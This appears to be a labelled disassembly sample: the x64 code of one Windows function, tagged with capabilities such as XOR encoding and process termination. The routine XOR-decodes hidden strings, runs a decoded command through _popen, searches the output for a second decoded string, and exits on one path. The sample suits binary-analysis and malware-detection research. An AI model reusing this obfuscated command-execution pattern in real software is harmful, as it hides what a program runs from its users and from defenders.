Function at 0x140073dd0
Capabilities:
Encode data using xor
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x1f0
movaps xmmword [rax - 0x48], xmm6
mov rdi, rcx
xor r13d, r13d
mov dword [rsp + 0x40], r13d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], r13
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], r13b
mov dword [rsp + 0x40], 1
movzx eax, word [0x140173eb4]
mov word [rbp + 0x138], ax
movups xmm0, xmmword [0x140173e98]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
movups xmmword [rsp + 0x44], xmm0
mov byte [rsp + 0x5c], al
movsd xmm0, qword [0x140173ea8]
movsd qword [rsp + 0x54], xmm0
cmp byte [0x140173eb5], r13b
je 0x140073e6a
mov byte [rbp + 0x138], WSAStartup
xor byte [rbp + 0x139], 0x38
mov r8d, r13d
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp r12d, 2
jl 0x140073fbd
movdqa xmm5, xmmword [0x1401a0db0]
movdqa xmm4, xmmword [0x140175c20]
movdqa xmm6, xmmword [str.9999]
movdqa xmm0, xmmword [0x140175b70]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x48]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401a0e10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401a0e10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140073eb0
cmp r8d, 0x19
jge 0x140074003
movsxd rax, r8d
lea r9, [rsp + 0x44]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140073fd0
lea rdx, [rbp + 0x138]
lea rcx, [rsp + 0x44]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov r15, rax
test rax, rax
je 0x1400743ca
xor r14b, r14b
mov r8, rax
mov edx, 0x80
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x1400742a8
lea rbx, [rsp + 0x60]
lea rcx, [rsp + 0x60]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140074051
lea rsi, [rsp + 0x60]
add rsi, rax
lea rax, [rsp + 0x60]
cmp rax, rsi
je 0x140074083
nop dword [rax]
movsx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [rbx], al
inc rbx
cmp rbx, rsi
jne 0x140074070
movsd xmm0, qword [str.GJVYONQM__B__n_r_t]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140173ec0]
mov dword [rsp + 0x38], eax
cmp byte [0x140173ec3], 0
je 0x1400741fe
mov ecx, r13d
cmp r12d, 2
jl 0x1400741be
movdqa xmm4, xmmword [0x140175c20]
movdqa xmm2, xmmword [0x1401a0db0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.9999]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401a0e10]
packuswb xmm2, xmm2
mov eax, dword [0x140175b70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.GJVYONQM__B__n_r_t]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1401a0dc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.9999]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401a0e10]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x37
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xc
jl 0x1400741d0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x140074217
mov r14b, 1
jmp 0x14007421c
test r14b, r14b
jne 0x14007423a
mov r8, r15
mov edx, 0x80
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140074040
jmp 0x1400742a8
lea rax, [rsp + 0x60]
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [rax + rsi], 0
jne 0x140074246
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x140074290
lea rax, [rcx + rsi]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x140074276
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8, rsi
lea rdx, [rsp + 0x60]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], 0
jmp 0x1400742a8
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x60]
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call fcn.14005b8a0
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
mov rsi, qword [rdi + 0x10]
mov rbx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400742c2
mov rbx, qword [rdi]
test rsi, rsi
je 0x140074337
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp - 0x20]
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x140173ec4]
lea rdx, [0x140173ec8]
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rbp + rax - 0x20], 1
inc rcx
cmp rcx, rdx
jne 0x1400742f0
lea rax, [rsi - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax - 0x20], 0
je 0x140074332
nop
cmp rcx, rbx
je 0x140074337
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax - 0x20], 0
jne 0x140074320
sub rcx, rbx
jmp 0x14007433e
mov rcx, 0xffffffffffffffff
inc rcx
cmp rsi, rcx
jb 0x1400743d3
mov rax, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140074357
mov rax, qword [rdi]
mov qword [rdi + 0x10], rcx
mov byte [rax + rcx], 0
cmp qword [rdi + 0x18], 0xf
jbe 0x140074375
mov rsi, qword [rdi]
mov r14, rsi
mov rbx, rsi
add r14, qword [rdi + 0x10]
jmp 0x140074382
mov r14, qword [rdi + 0x10]
add r14, rdi
mov rbx, rdi
mov rsi, rdi
cmp rbx, r14
je 0x1400743a4
sub rsi, rbx
nop word [rax + rax]
movsx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov byte [rsi + rbx], al
inc rbx
cmp rbx, r14
jne 0x140074390
mov rax, rdi
mov rbx, qword [rsp + 0x240]
movaps xmm6, xmmword [rsp + 0x1e0]
add rsp, 0x1f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140022450
int3